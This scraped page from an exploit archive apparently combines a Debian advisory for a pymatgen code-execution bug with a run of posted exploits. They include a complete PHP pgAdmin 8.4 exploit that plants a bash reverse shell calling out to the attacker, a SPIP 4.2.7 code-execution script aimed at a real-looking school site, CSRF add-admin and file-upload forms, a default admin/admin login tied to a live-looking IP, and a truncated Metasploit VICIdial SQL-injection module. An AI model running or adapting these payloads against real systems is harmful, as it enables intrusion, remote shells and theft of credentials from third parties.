Debian Linux Security Advisory 5763-1 - William Khem-Marquez discovered that Pymatgen, a Python library for materials analysis, could be tricked into running arbitrary code if a malformed CIF file is processed.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5763-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffAugust 30, 2024                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : pymatgenCVE ID         : CVE-2024-23346William Khem-Marquez discovered that Pymatgen, a Python library formaterials analysis, could be tricked into running arbitrary code if amalformed CIF file is processed.For the stable distribution (bookworm), this problem has been fixed inversion 2022.11.7+dfsg1-11+deb12u1.We recommend that you upgrade your pymatgen packages.For the detailed security status of pymatgen please refer toits security tracker page at:https://security-tracker.debian.org/tracker/pymatgenFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmbSCEcACgkQEMKTtsN8TjaJDxAAke20viDFhNtKyuwC3JuvZHI5Ql0l+4vS0HmHvAQcaV7JVMtnUWpmMHuC/xK6gqhPzfubWnvOBjXCgxSR6ubE+eY68WXiWQ4qPs96lHgZyAZOpbPbgrlBW+igYGtBfT9MJMwcWbXNlAHdfWxWA+DQrnEFB/TuYA9UgN1qINBkvQxiRwPFvATX00S3ds31Noic3as8OmaWEpG+xcLVLwrX5/UCz7csmkvUjRYf1oqtTQH2SlAlHAX5i55TmL0MbK39JuVD3CxSBH4OH7f6PastJFoVUIx6c3ZDrxZPZZ1wNSdaLdGYVCUF6DihZR/5LkjH5MmRBq0ZCQSLq4AWLjcKRsJnhu0soVXfI7yn3oc58yqqG3ruqjIlrbhFZkm5Fj7jeNuX+aSEFw4vd1bHwGCO7g+EAbQ4MWYYP0EsyXtN5X3O/v4MgkF4WK1To+TqG+SjB7hwV7Crdui0Iv89eZCGfsMnpRWvXwdnzOIfjgPBWXQkgPqDEDj8q4LkpQGdy/gCr772I79hkuqH0AhpzWZmSlwGU5NRBu09OAiVxXADScMfyggsteWriSBPv+zkZb4s+c8zNUjVdO4mcJIsOaT0FLncj4gUS0Eo5/vsb1QZMEsznp8Lrru1PAKKUvpYhzxoK/Y5ecovFFkHnXIc0qPhPOlvSpxpAURr5l2PEiALQNI==ZU7M-----END PGP SIGNATURE-----

Debian Security Advisory 5763-1

pgAdmin versions 8.4 and earlier are affected by a remote reverse connection execution vulnerability via the binary path validation API.

    =============================================================================================================================================| # Title     : pgAdmin 8.4 PHP Code Execution Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.pgadmin.org/download/                                                                                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] pgAdmin versions 8.4 and earlier are affected by a remote reverse connection execution vulnerability via the binary path validation API.     This vulnerability allows an attacker to execute a reverse connection on the server hosting PGAdmin, posing a severe risk to the integrity   of the database management system and the security of the underlying data.  [+] Description:    The generateReverseShell function: Generates a reverse connection payload that uses netcat (or equivalent) to open a reverse connection with your machine. You will need to replace "YOUR_IP" and "YOUR_PORT" with your machine's IP address and the port you are listening on.    exec in PHP: Runs the command that opens a reverse connection using bash and executes it on the target.[+] How to use it:    Modify "YOUR_IP" and "YOUR_PORT" in the generateReverseShell function to match your machine.    Verify that your machine is listening on the specified port using nc or a similar tool:    nc -lvnp YOUR_PORT[+] Run the code. If the exploit is successful, you will get a reverse connection to the target machine.[+] Line : 156+157        $ip = 'YOUR_IP'; // Replace with your machine's IP        $port = 'YOUR_PORT'; // Replace with the port you want to use[+] Line : 164+165+166           $targetUrl = 'http://target-url.com'; // Replace this with the actual address           $username = 'admin'; // Username (if required)           $password = 'password'; // Password (if required)              [+] Save As poc.php[+] usage : cmd=> php poc.php[+] payload :<?phpclass PGAdminExploit {    private $targetUrl;    private $csrfToken;    private $username;    private $password;    public function __construct($targetUrl, $username = '', $password = '') {        $this->targetUrl = rtrim($targetUrl, '/');        $this->username = $username;        $this->password = $password;    }    public function exploit() {        if ($this->authRequired() && (!$this->username || !$this->password)) {            die("The application requires authentication, please provide valid credentials.\n");        }        if ($this->authRequired()) {            $this->authenticate();            echo "Successfully authenticated to pgAdmin\n";        }        if (!$this->onWindows()) {            die("This exploit is specific to Windows targets!\n");        }        $fileName = 'reverse_shell.php';        $this->fileManagerUploadAndTrigger($fileName, $this->generateReverseShell());    }    private function authRequired() {        $res = $this->sendRequest('GET', $this->targetUrl . '/');        return strpos($res, 'Location: login') !== false;    }    private function onWindows() {        $res = $this->sendRequest('GET', $this->targetUrl . '/browser/js/utils.js');        if ($res) {            $platform = $this->getStringBetween($res, "pgAdmin['platform'] = '", "';");            return $platform == 'win32';        }        return false;    }    private function authenticate() {        $loginPage = $this->sendRequest('GET', $this->targetUrl . '/login');        $this->setCsrfTokenFromLoginPage($loginPage);        $res = $this->sendRequest('POST', $this->targetUrl . '/authenticate/login', [            'csrf_token' => $this->csrfToken,            'email' => $this->username,            'password' => $this->password,            'language' => 'en',            'internal_button' => 'Login'        ]);        if (strpos($res, 'Location: login') !== false) {            die("Failed to authenticate to pgAdmin\n");        }    }    private function setCsrfTokenFromLoginPage($response) {        if (preg_match('/csrfToken": "([\w+.-]+)"/', $response, $matches)) {            $this->csrfToken = $matches[1];        } elseif (preg_match('/<input.*?id="csrf_token".*?value="(.*?)"/', $response, $matches)) {            $this->csrfToken = $matches[1];        } else {            die("Failed to obtain the CSRF token\n");        }    }    private function fileManagerUploadAndTrigger($filePath, $fileContents) {        list($transId, $homeFolder) = $this->fileManagerInit();        $formData = [            'newfile' => new CURLFile($filePath, 'application/octet-stream', $filePath),            'mode' => 'add',            'currentpath' => $homeFolder,            'storage_folder' => 'my_storage'        ];        $res = $this->sendRequest('POST', $this->targetUrl . "/file_manager/filemanager/{$transId}/", $formData, true);        if (strpos($res, '"success":1') === false) {            die("Failed to upload file contents\n");        }        $uploadPath = $this->getStringBetween($res, '"Name":"', '"');        echo "Payload uploaded to: {$uploadPath}\n";        $this->sendRequest('POST', $this->targetUrl . '/misc/validate_binary_path', json_encode([            'utility_path' => substr($uploadPath, 0, -15)        ]), true);    }    private function fileManagerInit() {        $res = $this->sendRequest('POST', $this->targetUrl . '/file_manager/init', json_encode([            'dialog_type' => 'storage_dialog',            'supported_types' => ['sql', 'csv', 'json', '*'],            'dialog_title' => 'Storage Manager'        ]));        $transId = $this->getStringBetween($res, '"transId":"', '"');        $homeFolder = $this->getStringBetween($res, '"homedir":"', '"');        if (!$transId || !$homeFolder) {            die("Failed to initialize a file manager transaction Id or home folder\n");        }        return [$transId, $homeFolder];    }    private function sendRequest($method, $url, $data = [], $multipart = false) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);        if ($method == 'POST') {            curl_setopt($ch, CURLOPT_POST, true);            if ($multipart) {                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);            } else {                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));            }        }        if ($this->csrfToken) {            curl_setopt($ch, CURLOPT_HTTPHEADER, [                "X-pgA-CSRFToken: {$this->csrfToken}"            ]);        }        $response = curl_exec($ch);        if (curl_errno($ch)) {            die("cURL Error: " . curl_error($ch) . "\n");        }        curl_close($ch);        return $response;    }    private function getStringBetween($string, $start, $end) {        $string = ' ' . $string;        $ini = strpos($string, $start);        if ($ini == 0) return '';        $ini += strlen($start);        $len = strpos($string, $end, $ini) - $ini;        return substr($string, $ini, $len);    }    private function generateReverseShell() {        // حمولة الاتصال العكسي باستخدام Netcat        $ip = 'YOUR_IP'; // استبدل بـ IP الخاص بجهازك        $port = 'YOUR_PORT'; // استبدل بالمنفذ الذي تريد استخدامه        $shell = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/$ip/$port 0>&1'\"); ?>";        return $shell;    }}// مثال على الاستخدام$targetUrl = 'http://target-url.com'; // استبدل هذا بالعنوان الحقيقي$username = 'admin'; // اسم المستخدم (إذا كان مطلوبًا)$password = 'password'; // كلمة المرور (إذا كانت مطلوبة)$exploit = new PGAdminExploit($targetUrl, $username, $password);$exploit->exploit();?>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

pgAdmin 8.4 Code Execution 

SPIP version 4.2.7 suffers from a code execution vulnerability.

    =============================================================================================================================================| # Title     : SPIP 4.2.7 PHP Code execution Vulnerability                                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.spip.net/                                                                                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line 49 : Set your target.[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php[+] Payload :<?phpclass IndoushkaExploit {    private $targetUrl;    private $payload;    public function __construct($targetUrl, $payload) {        $this->targetUrl = rtrim($targetUrl, '/') . '/spip.php';        $this->payload = $this->generatePayload($payload);    }    private function generatePayload($payload) {        // توليد الحمولة مع تضمين الأمر المراد تنفيذه        return "[<img" . rand(10000000, 99999999) . ">->URL`<?php {$payload} ?>`]";    }    public function exploit() {        // إعداد بيانات POST التي سيتم إرسالها إلى الهدف        $data = http_build_query(['action' => 'porte_plume_previsu', 'data' => $this->payload]);        // تهيئة طلب HTTP باستخدام دالة cURL        $ch = curl_init($this->targetUrl);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        // إضافة رؤوس مخصصة لتجاوز المنع        curl_setopt($ch, CURLOPT_HTTPHEADER, [            'Content-Type: application/x-www-form-urlencoded',            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'        ]);        // تنفيذ الطلب        $response = curl_exec($ch);        // تحقق من وجود أخطاء في cURL        if (curl_errno($ch)) {            echo "cURL Error: " . curl_error($ch) . "\n";        } else {            echo "Exploit Sent! Response:\n";            echo $response;        }        curl_close($ch);    }}// مثال على الاستخدام$targetUrl = 'https://eps.enseigne.ac-lyon.fr/spip/'; // استبدل هذا بالعنوان الحقيقي$payload = 'system("pwd");'; // أوامر PHP التي تريد تنفيذها$exploit = new IndoushkaExploit($targetUrl, $payload);$exploit->exploit();Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

SPIP 4.2.7 Code Execution

Loan Management System 2024 version 1.0 suffers from an ignored default credential vulnerability.

**Loan Management System 2024 1.0 Insecure Settings**

Posted Sep 2, 2024

Authored by indoushka

Loan Management System 2024 version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 4e37e483991ec7b37ab54ed035920c62f7033979ca509714b26270c8fabb131b

Download | Favorite | View

**Loan Management System 2024 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Loan Management System 2024 v1.0 Insecure Settings Vulnerability                                                            || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/15529/loan-management-system-oop-php-mysqlijquery-free-source-code.html                  |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin[+] https://www/127.0.0.1/165.232.176.12/index.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,597)
*   Arbitrary (17,025)
*   BBS (2,859)
*   Bypass (1,898)
*   CGI (1,047)
*   Code Execution (7,867)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,418)
*   DoS (25,183)
*   Encryption (2,389)
*   Exploit (54,093)
*   File Inclusion (4,271)
*   File Upload (1,006)
*   Firewall (822)
*   Info Disclosure (2,910)
*   Intrusion Detection (916)
*   Java (3,155)
*   JavaScript (907)
*   Kernel (7,249)
*   Local (14,833)
*   Magazine (587)
*   Overflow (13,203)
*   Perl (1,435)
*   PHP (5,253)
*   Proof of Concept (2,399)
*   Protocol (3,745)
*   Python (1,651)
*   Remote (31,809)
*   Root (3,668)
*   Rootkit (529)
*   Ruby (640)
*   Scanner (1,657)
*   Security Tool (8,035)
*   Shell (3,295)
*   Shellcode (1,219)
*   Sniffer (904)
*   Spoof (2,291)
*   SQL Injection (16,692)
*   TCP (2,462)
*   Trojan (690)
*   UDP (919)
*   Virus (671)
*   Vulnerability (33,046)
*   Web (10,128)
*   Whitepaper (3,782)
*   x86 (969)
*   XSS (18,277)
*   Other

**File Archives**

*   September 2024
*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,104)
*   BSD (378)
*   CentOS (61)
*   Cisco (1,954)
*   Debian (7,114)
*   Fedora (1,693)
*   FreeBSD (1,247)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (387)
*   iPhone (108)
*   IRIX (220)
*   Juniper (71)
*   Linux (50,978)
*   Mac OS X (696)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,661)
*   Slackware (941)
*   Solaris (1,614)
*   SUSE (1,444)
*   Ubuntu (9,794)
*   UNIX (9,443)
*   UnixWare (187)
*   Windows (6,756)
*   Other

Loan Management System 2024 1.0 Insecure Settings

Hostel Management System version 1.0 version 1.0 suffers from an arbitrary file upload vulnerability.

    =============================================================================================================================================| # Title     : hostel management system 1.0 arbitrary file upload Vulnerability                                                            || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://phpgurukul.com/hostel-management-system/                                                                            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line : 9 Set your Target[+] Save As poc.html[+] payload :<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Complaint Form</title></head><body>    <form name="complaint" action="https://guardianpg.in/hostel/register-complaint.php" method="POST" enctype="multipart/form-data">        <label for="ctype">Complaint Type:</label>        <select name="ctype" id="ctype">            <option value="type1">Type 1</option>            <option value="type2">Type 2</option>            <option value="type3">Type 3</option>        </select><br><br>        <label for="cdetails">Complaint Details:</label><br>        <textarea name="cdetails" id="cdetails" rows="4" cols="50"></textarea><br><br>        <label for="image">Upload Image:</label>        <input type="file" name="image" id="image"><br><br>        <input type="submit" name="submit" value="Submit Complaint">    </form></body></html>[+] your Files : http://127.0.0.1/Hostel-Management-Syste-Updated-Code/hostel/comnplaintdoc/Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Hostel Management System 1.0 Arbitrary File Upload

File Management System version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : File Management System 1.0 CSRF Add Admin Vulnerability                                                                     || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/file-management-system-in-php-mysql-source-code/?wpdmdl=7992&refresh=66bba3bd946da1723573181                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line 1 : Set your target.[+] Save As poc.html[+] Payload :  <form action="http://127.0.0.1/filemanagement/Private_Dashboard/create_Admin.php" method="POST">  <div class="modal-dialog" role="document">    <div class="modal-content">      <div class="modal-header text-center">        <h4 class="modal-title w-100 font-weight-bold"><i class="fas fa-user-plus"></i> Add Admin</h4>        <button type="button" class="close" data-dismiss="modal" aria-label="Close">          <span aria-hidden="true">&times;</span>        </button>      </div>      <div class="modal-body mx-3">           <div class="md-form mb-5">          <input type="hidden" id="orangeForm-name" name="status" value = "Admin" class="form-control validate">        </div>        <div class="md-form mb-5">          <i class="fas fa-user prefix grey-text"></i>          <input type="text" id="orangeForm-name" name="name" class="form-control validate" required="">          <label data-error="wrong" data-success="right" for="orangeForm-name">Your name</label>        </div>        <div class="md-form mb-5">          <i class="fas fa-envelope prefix grey-text"></i>          <input type="email" id="orangeForm-email" name="admin_user" class="form-control validate" required="">          <label data-error="wrong" data-success="right" for="orangeForm-email">Your email</label>        </div>        <div class="md-form mb-4">          <i class="fas fa-lock prefix grey-text"></i>          <input type="password" id="orangeForm-pass" name="admin_password" class="form-control validate" required="">          <label data-error="wrong" data-success="right" for="orangeForm-pass">Your password</label>        </div>      </div>      <div class="modal-footer d-flex justify-content-center">        <button class="btn btn-info" name="reg">Sign up</button>    Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

File Management System 1.0 Cross Site Request Forgery

Faculty Evaluation System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Faculty Evaluation System 1.0 CSRF Add Admin Vulnerability                                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.2 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/php/14710/faulty-evaluation-system-using-phpcodeigniter-source-code.html                     |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Line 35 : Set your target.

[+] Save As poc.html

[+] Payload :

  <!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="email">User Name:</label>  
        <input type="email" id="email" name="email" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <div class="form-group">  
      <label for="" class="control-label">Avatar</label>  
      <div class="custom-file">  
              <input type="file" class="custom-file-input rounded-circle" id="customFile" name="img" onchange="displayImg(this,$(this))">  
              <label class="custom-file-label" for="customFile">Choose file</label>  
            </div>  
    </div>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/eval/ajax.php?action=save_user", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

[+] Shell Path : http://127.0.0.1/eval/assets/uploads/

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Faculty Evaluation System 1.0 Cross Site Request Forgery

eClass LMS version 6.2.0 suffers from a remote shell upload vulnerability.

    ====================================================================================================================================| # Title     : eClass LMS v6.2.0 shell upload Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://codecanyon.net/item/eclass-learning-management-system/25613271                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] TAIF learning script contain arbitrary file upload[+] registered user can upload .php files in profile picture section without any security[+] profile link : localhost/demo/public/profile/show/[+] profile link : /demo/public/profile/show/[+] edit profile photo and upload php files and inspect element your php direction[+] uploaded file direction :local host /demo/public/images/user_img/16067501901.php <---- random id[+] just right click the photo and use inspect element you will have your directionGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

eClass LMS 6.2.0 Shell Upload

Free Hospital Management System for Small Practices version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Vaidya-Mitra v 1.0 CSRF Vulnerability  
                                                                   |  
| # Author    : indoushka  
                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1  
(64 bits)                                                            |  
| # Vendor    :  
https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html  
                             |

=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following HTML code add new admin.

[+] Go to the line 9. Set the target site link Save changes and apply .

[+] infected file : vm/create-account.php.

[+] save code as poc.html

[+] payload :

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width,  
initial-scale=1.0">  
    <title>Create Account</title>  
</head>  
<body>  
    <form action="http://127.0.0.1/vm/create-account.php" method="POST">  
        <label for="newemail">Email:</label>  
        <input type="email" id="newemail" name="newemail" required>  
        <br>

        <label for="tele">Telephone:</label>  
        <input type="text" id="tele" name="tele" required>  
        <br>

        <label for="newpassword">Password:</label>  
        <input type="password" id="newpassword" name="newpassword"  
required>  
        <br>

        <label for="cpassword">Confirm Password:</label>  
        <input type="password" id="cpassword" name="cpassword" required>  
        <br>

        <button type="submit">Create Account</button>  
    </form>  
</body>  
</html>

Greetings to  
:============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr  
|

==========================================================================

Free Hospital Management System For Small Practices 1.0 CSRF

This Metasploit module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable). Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter. Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter. Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter. Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter. Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter. VICIdial does not encrypt passwords by default.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Scanner  include Msf::Exploit::SQLi  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VICIdial Multiple Authenticated SQLi',        'Description' => %q{          This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to          svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).          Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter.          Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter.          Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter.          Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter.          Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter.          VICIdial does not encrypt passwords by default.        },        'Author' => [          'h00die' # msf module, discovery        ],        'License' => MSF_LICENSE,        'References' => [          [ 'URL', 'https://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=41300&sid=aacb27a29fefd85265b4d55fe51122af'],          [ 'CVE', '2022-34876'], # admin.php          [ 'CVE', '2022-34877'], # AST_agent_time_sheet.php          [ 'CVE', '2022-34878'] # user_stats.php        ],        'Actions' => [          ['List Users - modify_email_accounts method', { 'Description' => 'Queries username, password for COUNT users' }],          ['List Users - access_recordings method', { 'Description' => 'Queries username, password for COUNT users' }],          ['List Users - agentcall_email method', { 'Description' => 'Queries username, password for COUNT users' }],          ['List Users - agent_time_sheet method', { 'Description' => 'Queries username, password for COUNT users' }],          ['List Users - user_stats method', { 'Description' => 'Queries username, password for COUNT users' }],        ],        'DefaultAction' => 'List Users',        'DisclosureDate' => '2022-04-19',        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [IOC_IN_LOGS],          'Reliability' => []        }      )    )    register_options [      OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),      OptString.new('USERNAME', [true, 'Valid Username for login', '6666']),      OptString.new('PASSWORD', [true, 'Valid Password for login', '']),      OptString.new('ACTION', [true, 'Valid Password for login', 'List Users - access_recordings method'])    ]  end  def post_4a    {      'ADD' => '4A',      'custom_fields_modify' => '0',      'user' => '111',      'pass' => '111',      'force_change_password' => 'N',      'full_name' => '111',      'user_level' => '1',      'user_group' => 'ADMIN',      'phone_login' => '111',      'phone_pass' => '111',      'active' => 'Y',      'voicemail_id' => '',      'email' => '',      'mobile_number' => '',      'user_code' => '',      'user_location' => '',      'territory' => '',      'user_nickname' => '',      'user_new_lead_limit' => '-1',      'agent_choose_ingroups' => '1',      'agent_choose_blended' => '1',      'hotkeys_active' => '0',      'scheduled_callbacks' => '1',      'agentonly_callbacks' => '0',      'next_dial_my_callbacks' => 'NOT_ACTIVE',      'agentcall_manual' => '0',      'manual_dial_filter' => 'DISABLED',      'agentcall_email' => '0',      'agentcall_chat' => '0',      'vicidial_recording' => '1',      'vicidial_transfers' => '1',      'closer_default_blended' => '0',      'user_choose_language' => '0',      'selected_language' => 'defaultEnglish',      'vicidial_recording_override' => 'DISABLED',      'mute_recordings' => 'DISABLED',      'alter_custdata_override' => 'NOT_ACTIVE',      'alter_custphone_override' => 'NOT_ACTIVE',      'agent_shift_enforcement_override' => 'DISABLED',      'agent_call_log_view_override' => 'DISABLED',      'hide_call_log_info' => 'DISABLED',      'agent_lead_search' => 'NOT_ACTIVE',      'lead_filter_id' => 'NONE',      'user_hide_realtime' => '0',      'allow_alerts' => '0',      'preset_contact_search' => 'NOT_ACTIVE',      'max_inbound_calls' => '0',      'max_inbound_filter_enabled' => '0',      'max_inbound_filter_min_sec' => '-1',      'max_hopper_calls' => '0',      'max_hopper_calls_hour' => '0',      'wrapup_seconds_override' => '-1',      'ready_max_logout' => '-1',      'status_group_id' => '',      'custom_one' => '',      'custom_two' => '',      'custom_three' => '',      'custom_four' => '',      'custom_five' => '',      'qc_enabled' => '0',      'qc_user_level' => '1',      'qc_pass' => '0',      'qc_finish' => '0',      'qc_commit' => '0',      'realtime_block_user_info' => '0',      'admin_hide_lead_data' => '0',      'admin_hide_phone_data' => '0',      'ignore_group_on_search' => '0',      'user_admin_redirect_url' => '',      'view_reports' => '0',      'access_recordings' => '0',      'alter_agent_interface_options' => '0',      'modify_users' => '0',      'change_agent_campaign' => '0',      'delete_users' => '0',      'modify_usergroups' => '0',      'delete_user_groups' => '0',      'modify_lists' => '0',      'delete_lists' => '0',      'load_leads' => '0',      'modify_leads' => '0',      'export_gdpr_leads' => '0',      'download_lists' => '0',      'export_reports' => '0',      'delete_from_dnc' => '0',      'modify_campaigns' => '0',      'campaign_detail' => '0',      'delete_campaigns' => '0',      'modify_ingroups' => '0',      'delete_ingroups' => '0',      'modify_inbound_dids' => '0',      'delete_inbound_dids' => '0',      'modify_custom_dialplans' => '0',      'modify_remoteagents' => '0',      'delete_remote_agents' => '0',      'modify_scripts' => '0',      'delete_scripts' => '0',      'modify_filters' => '0',      'delete_filters' => '0',      'ast_admin_access' => '0',      'ast_delete_phones' => '0',      'modify_call_times' => '0',      'delete_call_times' => '0',      'modify_servers' => '0',      'modify_shifts' => '0',      'modify_phones' => '0',      'modify_carriers' => '0',      'modify_email_accounts' => '0',      'vKik' => 'vKik',      'modify_labels' => '0',      'modify_colors' => '0',      'modify_languages' => '0',      'modify_statuses' => '0',      'modify_voicemail' => '0',      'modify_audiostore' => '0',      'modify_moh' => '0',      'modify_tts' => '0',      'modify_contacts' => '0',      'callcard_admin' => '0',      'modify_auto_reports' => '0',      'add_timeclock_log' => '0',      'modify_timeclock_log' => '0',      'delete_timeclock_log' => '0',      'manager_shift_enforcement_override' => '0',      'pause_code_approval' => '0',      'admin_cf_show_hidden' => '0',      'modify_ip_lists' => '0',      'ignore_ip_list' => '0',      'two_factor_override' => 'NOT_ACTIVE',      'vdc_agent_api_access' => '0',      'api_list_restrict' => '0',      'api_allowed_functions[]' => 'ALL_FUNCTIONS',      'api_only_user' => '0',      'modify_same_user_level' => '1',      'alter_admin_interface_options' => '1',      'SUBMIT' => 'SUBMIT'    }  end  def basic_auth    user_pass = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"    {      'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"    }  end  def inject_admin_page(param, payload)    data = post_4a    d = Rex::Text.rand_text_numeric(4)    data[param] = "0' AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND '#{d}'='#{d}"    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),      'headers' => basic_auth,      'vars_post' => data    })    fail_with Failure::Unreachable, 'Connection failed' unless res  end  def run_host(ip)    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),      'headers' => basic_auth    })    fail_with(Failure::Unreachable, 'Failed to load website') unless res    fail_with(Failure::NoAccess, 'Invalid login/password') if res.code == 401    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|      d = Rex::Text.rand_text_numeric(4)      if datastore['ACTION'] == 'List Users - modify_email_accounts method'        inject_admin_page('modify_email_accounts', payload)      elsif datastore['ACTION'] == 'List Users - access_recordings method'        inject_admin_page('access_recordings', payload)      elsif datastore['ACTION'] == 'List Users - 